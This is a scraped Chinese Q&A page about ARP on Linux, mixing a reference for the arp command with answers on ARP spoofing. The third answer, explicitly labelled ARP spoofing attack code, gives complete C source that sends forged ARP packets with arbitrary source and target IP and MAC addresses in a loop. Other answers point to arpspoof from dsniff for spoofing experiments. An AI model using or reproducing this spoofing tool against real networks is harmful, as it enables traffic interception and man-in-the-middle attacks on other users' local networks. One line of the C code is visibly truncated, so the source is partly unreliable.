导航:首页 > 编程语言 > linuxarp编程

linuxarp编程

发布时间:2022-07-22 19:40:08

㈠ 如何给linux给ARP表添加条目

Liunx添加ARP表方式如下:
[功能]
管理系统的arp缓存。

[描述]
用来管理系统的arp缓存,常用的命令包括:
arp: 显示所有的表项。
arp -d address: 删除一个arp表项。
arp -s address hw_addr: 设置一个arp表项。

常用参数:
-a 使用bsd形式输出。(没有固定的列)
-n 使用数字形式显示ip地址,而不是默认的主机名形式。
-D 不是指定硬件地址而是指定一个网络接口的名称,表项将使用相应接口的MAC地址。一般用来设置ARP代理。
-H type, --hw-type type: 指定检查特定类型的表项,默认type为ether,还有其他类型。
-i If, --device If: 指定设置哪个网络接口上面的arp表项。
-f filename: 作用同'-s',不过它通过文件来指定IP地址和MAC地址的绑定。文件中每行分别是主机和MAC,中间以空格分割。如果没有指定文件名称,则使用/etc/ethers文件。

以下例子中,用主机名称的地方也可以用点分10进制的ip地址来表示。另外输出结果中用"C"表示ARP缓存内容,"M"表示永久性表项,"P"表示公共的表项。

[举例]
*查看arp表:
#arp
Address HWtype HWaddress FlagsMask Iface
hostname1 ether 44:37:e6:97:92:16 C eth0
hostname2 ether 00:0f:fe:43:28:c5 C eth0
hostname3 ether 00:1d:92:e3:d5:ee C eth0
hostname4 ether 00:1d:0f:11:f2:a5 C eth0
这里,Flags中的"C"代表此表项目是高速缓存中的内容,高速缓存中的内容过一段时间(一般20分钟)会清空,而"M"则表示静态表项,静态表项的内容不会过一段时间被清空。

*查看arp表,并且用ip显示而不是主机名称:
# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.254 ether 00:1d:92:e3:d5:ee C eth0
10.1.10.253 ether 44:37:e6:9b:2c:53 C eth0
10.1.10.178 ether 00:1b:78:83:d9:85 C eth0
10.1.10.119 ether 00:1d:0f:11:f2:a5 C eth0
这里,对于上面的条目,假设当我们"ping 10.1.10.1"通过之后,arp中会多一条"10.1.10.1"相关的信息。

*查看arp表,显示主机名称和ip:
#arp -a
ns.amazon.esdl.others.com (10.1.10.254) at00:1d:92:e3:d5:ee [ether] on eth0
server.amazon.eadl.others.com (10.1.10.253) at44:37:e6:9b:2c:53 [ether] on eth0
D2-jh.amazon.esdl.others.com (10.1.10.178) at00:1b:78:83:d9:85 [ether] on eth0
aplab.local (10.1.10.119) at 00:1d:0f:11:f2:a5[ether] on eth0

*添加一对IP和MAC地址的绑定:
# arp -s 10.1.1.1 00:11:22:33:44:55:66
这里,如果网络无法达到,那么会报告错误,具体如下:
root@quietheart:/home/lv-k# arp -s 10.1.1.100:11:22:33:44:55:66
SIOCSARP: Network is unreachable
root@quietheart:/home/lv-k# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.254 ether 00:1d:92:e3:d5:ee C eth0
10.1.10.253 ether 44:37:e6:9b:2c:53 C eth0
10.1.10.178 ether 00:1b:78:83:d9:85 C eth0
10.1.10.119 ether 00:1d:0f:11:f2:a5 C eth0
实际上,如果"arp -s"设置成功之后,会增加一个Flags为"CM"的表项,有些系统静态条目不会因为ARP响应而更新,而高速缓存中的条目会因此而更新。如果想要手工设置没有"M",那么用"temp"选项,例如:"arp -s IP MAC temp"类似的命令,实践发现,如果已经设置过IP了,那么再设置也不会改变其Flags。

*删除一个arp表项:
# arp -d 10.1.10.118
这里,删除之后只是硬件地址没有了,如下:
root@quietheart:~# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.118 ether 00:25:9c:c2:79:90 CM eth0
10.1.10.254 ether 00:1d:92:e3:d5:ee C eth0
root@quietheart:~# arp -d 10.1.10.118
root@quietheart:~# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.118 (incomplete) eth0
10.1.10.254 ether 00:1d:92:e3:d5:ee C

*删除eth0上面的一个arp表项:
# arp -i eth0 -d 10.1.10.118

[其它]
*指定回复的MAC地址:
#/usr/sbin/arp -i eth0 -Ds 10.0.0.2 eth1 pub
当eth0收到IP地址为10.0.0.2的请求时,将会用eth1的MAC地址回答。
例如,双网卡机器运行这条命令:
/usr/sbin/arp -i eth0 -Ds 10.0.0.2 eth1 pub
会多一项:
10.0.0.2 * MP eth0

㈡ 如何在linux下进行arp欺骗攻击实验

arpspoof,有这个就可以了 你可以下载它的源码包看,开源的,用的是libnet,libpcap库,属于dsniff包中的一个组成部分

㈢ Linux C编程, 如何仿造ip、mac地址发送报文呢 是利用ARP协议漏洞吗有没有源代码借鉴下~~

一个arp欺骗攻击的代码如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

㈣ 如何在我的linux查看我的arp表格

在linux中查看arp地址解析协议需要使用终端命令。

以Deepin linux为例,使用终端命令查看arp步骤如下所示:

1、在程序列表中点击打开终端命令程序。


㈤ 在linux下怎么实现ARP欺骗

arpspoof,有这个就可以了

你可以下载它的源码包看,开源的,用的是libnet,libpcap库,属于dsniff包中的一个组成部分

㈥ linux下怎么编写程序,防止本机对外arp攻击

iptables 应该直接就可以实现这功能
你要能看懂iptables源码的话

在我看来是大神级别了

话说 网络初始化时 会发ARP广播

你把本机对外的ARP包 禁了 估计 你就不能上网了

阅读全文

与linuxarp编程相关的资料

热点内容
哪里有无损音乐app下载 浏览:221
单片机如何使用proteus 浏览:991
java常用的服务器 浏览:281
集结APP在哪里下载 浏览:800
欧洲cf玩什么服务器 浏览:529
如何连接另一台电脑上的共享文件夹 浏览:681
如何让桌面文件夹搬家到e盘 浏览:73
java自动格式化 浏览:619
ipad怎么查看文件夹大小 浏览:583
手工粘土解压球 浏览:552
在线视频教育源码 浏览:41
快四十学什么编程 浏览:754
gnumakelinux 浏览:537
视易峰云服务器怎么改系统 浏览:535
javamap取值 浏览:768
mac和win磁盘加密软件 浏览:474
苹果为什么会连接不到服务器 浏览:726
pdf格式文件如何保存 浏览:303
小霸王服务器tx什么意思 浏览:75
解释dns命令 浏览:584